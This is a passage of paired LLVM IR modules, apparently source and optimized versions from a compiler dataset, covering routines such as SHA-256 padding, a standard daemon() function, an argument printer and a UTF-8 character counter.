i32], ptr %11, i64 0, i64 0 %46 = call i32 @sha256_transform(ptr noundef %44, ptr noundef %45) br label %155 47: ; preds = %12 %48 = load i32, ptr %10, align 4 %49 = load i32, ptr %7, align 4 %50 = add nsw i32 %49, 9 %51 = icmp slt i32 %48, %50 br i1 %51, label %52, label %101 52: ; preds = %47 store i32 0, ptr %9, align 4 %53 = load i32, ptr %9, align 4 %54 = load i32, ptr %7, align 4 %55 = load i32, ptr %10, align 4 %56 = sub nsw i32 %54, %55 %57 = icmp ult i32 %53, %56 br i1 %57, label %.lr.ph2, label %82 .lr.ph2: ; preds = %52 br label %58 58: ; preds = %.lr.ph2, %74 %59 = load ptr, ptr %6, align 8 %60 = getelementptr inbounds i8, ptr %59, i32 1 store ptr %60, ptr %6, align 8 %61 = load i8, ptr %59, align 1 %62 = zext i8 %61 to i32 %63 = load i32, ptr %9, align 4 %64 = sub i32 3, %63 %65 = and i32 %64, 3 %66 = mul i32 8, %65 %67 = shl i32 %62, %66 %68 = load i32, ptr %9, align 4 %69 = lshr i32 %68, 2 %70 = zext i32 %69 to i64 %71 = getelementptr inbounds [16 x i32], ptr %11, i64 0, i64 %70 %72 = load i32, ptr %71, align 4 %73 = xor i32 %72, %67 store i32 %73, ptr %71, align 4 br label %74 74: ; preds = %58 %75 = load i32, ptr %9, align 4 %76 = add i32 %75, 1 store i32 %76, ptr %9, align 4 %77 = load i32, ptr %9, align 4 %78 = load i32, ptr %7, align 4 %79 = load i32, ptr %10, align 4 %80 = sub nsw i32 %78, %79 %81 = icmp ult i32 %77, %80 br i1 %81, label %58, label %._crit_edge3, !llvm.loop !8 ._crit_edge3: ; preds = %74 br label %82 82: ; preds = %._crit_edge3, %52 %83 = load i32, ptr %9, align 4 %84 = sub i32 3, %83 %85 = and i32 %84, 3 %86 = mul i32 8, %85 %87 = add i32 %86, 7 %88 = shl i32 1, %87 %89 = load i32, ptr %9, align 4 %90 = lshr i32 %89, 2 %91 = zext i32 %90 to i64 %92 = getelementptr inbounds [16 x i32], ptr %11, i64 0, i64 %91 %93 = load i32, ptr %92, align 4 %94 = xor i32 %93, %88 store i32 %94, ptr %92, align 4 %95 = load i32, ptr %7, align 4 %96 = ashr i32 %95, 29 %97 = getelementptr inbounds [16 x i32], ptr %11, i64 0, i64 14 store i32 %96, ptr %97, align 8 %98 = load i32, ptr %7, align 4 %99 = shl i32 %98, 3 %100 = getelementptr inbounds [16 x i32], ptr %11, i64 0, i64 15 store i32 %99, ptr %100, align 4 br label %154 101: ; preds = %47 store i32 0, ptr %9, align 4 %102 = load i32, ptr %9, align 4 %103 = load i32, ptr %7, align 4 %104 = load i32, ptr %10, align 4 %105 = sub nsw i32 %103, %104 %106 = icmp ult i32 %102, %105 br i1 %106, label %.lr.ph, label %131 .lr.ph: ; preds = %101 br label %107 107: ; preds = %.lr.ph, %123 %108 = load ptr, ptr %6, align 8 %109 = getelementptr inbounds i8, ptr %108, i32 1 store ptr %109, ptr %6, align 8 %110 = load i8, ptr %108, align 1 %111 = zext i8 %110 to i32 %112 = load i32, ptr %9, align 4 %113 = sub i32 3, %112 %114 = and i32 %113, 3 %115 = mul i32 8, %114 %116 = shl i32 %111, %115 %117 = load i32, ptr %9, align 4 %118 = lshr i32 %117, 2 %119 = zext i32 %118 to i64 %120 = getelementptr inbounds [16 x i32], ptr %11, i64 0, i64 %119 %121 = load i32, ptr %120, align 4 %122 = xor i32 %121, %116 store i32 %122, ptr %120, align 4 br label %123 123: ; preds = %107 %124 = load i32, ptr %9, align 4 %125 = add i32 %124, 1 store i32 %125, ptr %9, align 4 %126 = load i32, ptr %9, align 4 %127 = load i32, ptr %7, align 4 %128 = load i32, ptr %10, align 4 %129 = sub nsw i32 %127, %128 %130 = icmp ult i32 %126, %129 br i1 %130, label %107, label %._crit_edge, !llvm.loop !9 ._crit_edge: ; preds = %123 br label %131 131: ; preds = %._crit_edge, %101 %132 = load i32, ptr %9, align 4 %133 = and i32 %132, 3 %134 = mul i32 8, %133 %135 = add i32 %134, 7 %136 = shl i32 1, %135 %137 = load i32, ptr %9, align 4 %138 = lshr i32 %137, 2 %139 = zext i32 %138 to i64 %140 = getelementptr inbounds [16 x i32], ptr %11, i64 0, i64 %139 %141 = load i32, ptr %140, align 4 %142 = xor i32 %141, %136 store i32 %142, ptr %140, align 4 %143 = load ptr, ptr %5, align 8 %144 = getelementptr inbounds [16 x i32], ptr %11, i64 0, i64 0 %145 = call i32 @sha256_transform(ptr noundef %143, ptr noundef %144) %146 = getelementptr inbounds [16 x i32], ptr %11, i64 0, i64 0 %147 = call i32 @memset(ptr noundef %146, i32 noundef 0, i32 noundef 64) %148 = load i32, ptr %7, align 4 %149 = ashr i32 %148, 29 %150 = getelementptr inbounds [16 x i32], ptr %11, i64 0, i64 14 store i32 %149, ptr %150, align 8 %151 = load i32, ptr %7, align 4 %152 = shl i32 %151, 3 %153 = getelementptr inbounds [16 x i32], ptr %11, i64 0, i64 15 store i32 %152, ptr %153, align 4 br label %154 154: ; preds = %131, %82 br label %155 155: ; preds = %154, %43 %156 = load i32, ptr %10, align 4 %157 = add nsw i32 %156, 64 store i32 %157, ptr %10, align 4 br label %158 158: ; preds = %155 %159 = load i32, ptr %10, align 4 %160 = load i32, ptr %7, align 4 %161 = icmp slt i32 %159, %160 br i1 %161, label %12, label %162, !llvm.loop !10 162: ; preds = %158 %163 = load ptr, ptr %5, align 8 %164 = getelementptr inbounds [16 x i32], ptr %11, i64 0, i64 0 %165 = call i32 @sha256_transform(ptr noundef %163, ptr noundef %164) ret void } declare i32 @memset(ptr noundef, i32 noundef, i32 noundef) #1 declare i32 @sha256_transform(ptr noundef, ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"} !8 = distinct !{!8, !7} !9 = distinct !{!9, !7} !10 = distinct !{!10, !7}
; ModuleID = '/tmp/tmpo_owxfdu.c' source_filename = "/tmp/tmpo_owxfdu.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @ENOSYS = dso_local global i32 0, align 4 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @__profil(ptr noundef %0, i64 noundef %1, i64 noundef %2, i64 noundef %3) #0 { %5 = alloca i32, align 4 %6 = alloca ptr, align 8 %7 = alloca i64, align 8 %8 = alloca i64, align 8 %9 = alloca i64, align 8 store ptr %0, ptr %6, align 8 store i64 %1, ptr %7, align 8 store i64 %2, ptr %8, align 8 store i64 %3, ptr %9, align 8 %10 = load i64, ptr %9, align 8 %11 = icmp eq i64 %10, 0 br i1 %11, label %12, label %13 12: ; preds = %4 store i32 0, ptr %5, align 4 br label %16 13: ; preds = %4 %14 = load i32, ptr @ENOSYS, align 4 %15 = call i32 @__set_errno(i32 noundef %14) store i32 -1, ptr %5, align 4 br label %16 16: ; preds = %13, %12 %17 = load i32, ptr %5, align 4 ret i32 %17 } declare i32 @__set_errno(i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpo_owxfdu.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @ENOSYS = dso_local global i32 0, align 4 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @__profil(ptr noundef %0, i64 noundef %1, i64 noundef %2, i64 noundef %3) #0 { %5 = alloca i32, align 4 %6 = alloca ptr, align 8 %7 = alloca i64, align 8 %8 = alloca i64, align 8 %9 = alloca i64, align 8 store ptr %0, ptr %6, align 8 store i64 %1, ptr %7, align 8 store i64 %2, ptr %8, align 8 store i64 %3, ptr %9, align 8 %10 = load i64, ptr %9, align 8 %11 = icmp eq i64 %10, 0 br i1 %11, label %12, label %13 12: ; preds = %4 store i32 0, ptr %5, align 4 br label %16 13: ; preds = %4 %14 = load i32, ptr @ENOSYS, align 4 %15 = call i32 @__set_errno(i32 noundef %14) store i32 -1, ptr %5, align 4 br label %16 16: ; preds = %13, %12 %17 = load i32, ptr %5, align 4 ret i32 %17 } declare i32 @__set_errno(i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpqjobiri6.c' source_filename = "/tmp/tmpqjobiri6.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @EPERM = dso_local global i32 0, align 4 @PRIO_PROCESS = dso_local global i32 0, align 4 @errno = dso_local global i32 0, align 4 !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpqjobiri6.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @EPERM = dso_local global i32 0, align 4 @PRIO_PROCESS = dso_local global i32 0, align 4 @errno = dso_local global i32 0, align 4 !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmp90par0sr.c' source_filename = "/tmp/tmp90par0sr.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @qrand() #0 { %1 = call i64 (...) @lqrand() %2 = trunc i64 %1 to i32 ret i32 %2 } declare i64 @lqrand(...) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp90par0sr.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @qrand() #0 { %1 = call i64 (...) @lqrand() %2 = trunc i64 %1 to i32 ret i32 %2 } declare i64 @lqrand(...) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpdh9nfd1j.c' source_filename = "/tmp/tmpdh9nfd1j.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [36 x i8] c"The command line has %d arguments:\0A\00", align 1 @.str.1 = private unnamed_addr constant [8 x i8] c"%d: %s\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 { %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca ptr, align 8 %6 = alloca i32, align 4 store i32 0, ptr %3, align 4 store i32 %0, ptr %4, align 4 store ptr %1, ptr %5, align 8 %7 = load i32, ptr %4, align 4 %8 = sub nsw i32 %7, 1 %9 = call i32 (ptr, i32, ...) @printf(ptr noundef @.str, i32 noundef %8) store i32 0, ptr %6, align 4 br label %10 10: ; preds = %22, %2 %11 = load i32, ptr %6, align 4 %12 = load i32, ptr %4, align 4 %13 = icmp slt i32 %11, %12 br i1 %13, label %14, label %25 14: ; preds = %10 %15 = load i32, ptr %6, align 4 %16 = load ptr, ptr %5, align 8 %17 = load i32, ptr %6, align 4 %18 = sext i32 %17 to i64 %19 = getelementptr inbounds ptr, ptr %16, i64 %18 %20 = load ptr, ptr %19, align 8 %21 = call i32 (ptr, i32, ...) @printf(ptr noundef @.str.1, i32 noundef %15, ptr noundef %20) br label %22 22: ; preds = %14 %23 = load i32, ptr %6, align 4 %24 = add nsw i32 %23, 1 store i32 %24, ptr %6, align 4 br label %10, !llvm.loop !6 25: ; preds = %10 ret i32 0 } declare i32 @printf(ptr noundef, i32 noundef, ...) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpdh9nfd1j.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [36 x i8] c"The command line has %d arguments:\0A\00", align 1 @.str.1 = private unnamed_addr constant [8 x i8] c"%d: %s\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 { %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca ptr, align 8 %6 = alloca i32, align 4 store i32 0, ptr %3, align 4 store i32 %0, ptr %4, align 4 store ptr %1, ptr %5, align 8 %7 = load i32, ptr %4, align 4 %8 = sub nsw i32 %7, 1 %9 = call i32 (ptr, i32, ...) @printf(ptr noundef @.str, i32 noundef %8) store i32 0, ptr %6, align 4 %10 = load i32, ptr %6, align 4 %11 = load i32, ptr %4, align 4 %12 = icmp slt i32 %10, %11 br i1 %12, label %.lr.ph, label %27 .lr.ph: ; preds = %2 br label %13 13: ; preds = %.lr.ph, %21 %14 = load i32, ptr %6, align 4 %15 = load ptr, ptr %5, align 8 %16 = load i32, ptr %6, align 4 %17 = sext i32 %16 to i64 %18 = getelementptr inbounds ptr, ptr %15, i64 %17 %19 = load ptr, ptr %18, align 8 %20 = call i32 (ptr, i32, ...) @printf(ptr noundef @.str.1, i32 noundef %14, ptr noundef %19) br label %21 21: ; preds = %13 %22 = load i32, ptr %6, align 4 %23 = add nsw i32 %22, 1 store i32 %23, ptr %6, align 4 %24 = load i32, ptr %6, align 4 %25 = load i32, ptr %4, align 4 %26 = icmp slt i32 %24, %25 br i1 %26, label %13, label %._crit_edge, !llvm.loop !6 ._crit_edge: ; preds = %21 br label %27 27: ; preds = %._crit_edge, %2 ret i32 0 } declare i32 @printf(ptr noundef, i32 noundef, ...) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '/tmp/tmp1yx6mukx.c' source_filename = "/tmp/tmp1yx6mukx.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [2 x i8] c"/\00", align 1 @_PATH_DEVNULL = dso_local global i32 0, align 4 @O_RDWR = dso_local global i32 0, align 4 @STDIN_FILENO = dso_local global i32 0, align 4 @STDOUT_FILENO = dso_local global i32 0, align 4 @STDERR_FILENO = dso_local global i32 0, align 4 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @daemon(i32 noundef %0, i32 noundef %1) #0 { %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca i32, align 4 %6 = alloca i32, align 4 store i32 %0, ptr %4, align 4 store i32 %1, ptr %5, align 4 %7 = call i32 (...) @fork() switch i32 %7, label %10 [ i32 -1, label %8 i32 0, label %9 ] 8: ; preds = %2 store i32 -1, ptr %3, align 4 br label %46 9: ; preds = %2 br label %12 10: ; preds = %2 %11 = call i32 @_exit(i32 noundef 0) #3 unreachable 12: ; preds = %9 %13 = call i32 (...) @setsid() %14 = icmp eq i32 %13, -1 br i1 %14, label %15, label %16 15: ; preds = %12 store i32 -1, ptr %3, align 4 br label %46 16: ; preds = %12 %17 = load i32, ptr %4, align 4 %18 = icmp ne i32 %17, 0 br i1 %18, label %21, label %19 19: ; preds = %16 %20 = call i32 @chdir(ptr noundef @.str) br label %21 21: ; preds = %19, %16 %22 = load i32, ptr %5, align 4 %23 = icmp ne i32 %22, 0 br i1 %23, label %45, label %24 24: ; preds = %21 %25 = load i32, ptr @_PATH_DEVNULL, align 4 %26 = load i32, ptr @O_RDWR, align 4 %27 = call i32 @open(i32 noundef %25, i32 noundef %26, i32 noundef 0) store i32 %27, ptr %6, align 4 %28 = icmp ne i32 %27, -1 br i1 %28, label %29, label %45 29: ; preds = %24 %30 = load i32, ptr %6, align 4 %31 = load i32, ptr @STDIN_FILENO, align 4 %32 = call i32 @dup2(i32 noundef %30, i32 noundef %31) %33 = load i32, ptr %6, align 4 %34 = load i32, ptr @STDOUT_FILENO, align 4 %35 = call i32 @dup2(i32 noundef %33, i32 noundef %34) %36 = load i32, ptr %6, align 4 %37 = load i32, ptr @STDERR_FILENO, align 4 %38 = call i32 @dup2(i32 noundef %36, i32 noundef %37) %39 = load i32, ptr %6, align 4 %40 = icmp sgt i32 %39, 2 br i1 %40, label %41, label %44 41: ; preds = %29 %42 = load i32, ptr %6, align 4 %43 = call i32 @close(i32 noundef %42) br label %44 44: ; preds = %41, %29 br label %45 45: ; preds = %44, %24, %21 store i32 0, ptr %3, align 4 br label %46 46: ; preds = %45, %15, %8 %47 = load i32, ptr %3, align 4 ret i32 %47 } declare i32 @fork(...) #1 ; Function Attrs: noreturn declare i32 @_exit(i32 noundef) #2 declare i32 @setsid(...) #1 declare i32 @chdir(ptr noundef) #1 declare i32 @open(i32 noundef, i32 noundef, i32 noundef) #1 declare i32 @dup2(i32 noundef, i32 noundef) #1 declare i32 @close(i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #3 = { noreturn } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp1yx6mukx.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [2 x i8] c"/\00", align 1 @_PATH_DEVNULL = dso_local global i32 0, align 4 @O_RDWR = dso_local global i32 0, align 4 @STDIN_FILENO = dso_local global i32 0, align 4 @STDOUT_FILENO = dso_local global i32 0, align 4 @STDERR_FILENO = dso_local global i32 0, align 4 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @daemon(i32 noundef %0, i32 noundef %1) #0 { %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca i32, align 4 %6 = alloca i32, align 4 store i32 %0, ptr %4, align 4 store i32 %1, ptr %5, align 4 %7 = call i32 (...) @fork() switch i32 %7, label %10 [ i32 -1, label %8 i32 0, label %9 ] 8: ; preds = %2 store i32 -1, ptr %3, align 4 br label %46 9: ; preds = %2 br label %12 10: ; preds = %2 %11 = call i32 @_exit(i32 noundef 0) #3 unreachable 12: ; preds = %9 %13 = call i32 (...) @setsid() %14 = icmp eq i32 %13, -1 br i1 %14, label %15, label %16 15: ; preds = %12 store i32 -1, ptr %3, align 4 br label %46 16: ; preds = %12 %17 = load i32, ptr %4, align 4 %18 = icmp ne i32 %17, 0 br i1 %18, label %21, label %19 19: ; preds = %16 %20 = call i32 @chdir(ptr noundef @.str) br label %21 21: ; preds = %19, %16 %22 = load i32, ptr %5, align 4 %23 = icmp ne i32 %22, 0 br i1 %23, label %45, label %24 24: ; preds = %21 %25 = load i32, ptr @_PATH_DEVNULL, align 4 %26 = load i32, ptr @O_RDWR, align 4 %27 = call i32 @open(i32 noundef %25, i32 noundef %26, i32 noundef 0) store i32 %27, ptr %6, align 4 %28 = icmp ne i32 %27, -1 br i1 %28, label %29, label %45 29: ; preds = %24 %30 = load i32, ptr %6, align 4 %31 = load i32, ptr @STDIN_FILENO, align 4 %32 = call i32 @dup2(i32 noundef %30, i32 noundef %31) %33 = load i32, ptr %6, align 4 %34 = load i32, ptr @STDOUT_FILENO, align 4 %35 = call i32 @dup2(i32 noundef %33, i32 noundef %34) %36 = load i32, ptr %6, align 4 %37 = load i32, ptr @STDERR_FILENO, align 4 %38 = call i32 @dup2(i32 noundef %36, i32 noundef %37) %39 = load i32, ptr %6, align 4 %40 = icmp sgt i32 %39, 2 br i1 %40, label %41, label %44 41: ; preds = %29 %42 = load i32, ptr %6, align 4 %43 = call i32 @close(i32 noundef %42) br label %44 44: ; preds = %41, %29 br label %45 45: ; preds = %44, %24, %21 store i32 0, ptr %3, align 4 br label %46 46: ; preds = %45, %15, %8 %47 = load i32, ptr %3, align 4 ret i32 %47 } declare i32 @fork(...) #1 ; Function Attrs: noreturn declare i32 @_exit(i32 noundef) #2 declare i32 @setsid(...) #1 declare i32 @chdir(ptr noundef) #1 declare i32 @open(i32 noundef, i32 noundef, i32 noundef) #1 declare i32 @dup2(i32 noundef, i32 noundef) #1 declare i32 @close(i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #3 = { noreturn } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpjpx82wt4.c' source_filename = "/tmp/tmpjpx82wt4.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @dtx_utf8_char_count(ptr noundef %0) #0 { %2 = alloca ptr, align 8 %3 = alloca i32, align 4 store ptr %0, ptr %2, align 8 store i32 0, ptr %3, align 4 br label %4 4: ; preds = %8, %1 %5 = load ptr, ptr %2, align 8 %6 = load i8, ptr %5, align 1 %7 = icmp ne i8 %6, 0 br i1 %7, label %8, label %13 8: ; preds = %4 %9 = load i32, ptr %3, align 4 %10 = add nsw i32 %9, 1 store i32 %10, ptr %3, align 4 %11 = load ptr, ptr %2, align 8 %12 = call ptr @dtx_utf8_next_char(ptr noundef %11) store ptr %12, ptr %2, align 8 br label %4, !llvm.loop !6 13: ; preds = %4 %14 = load 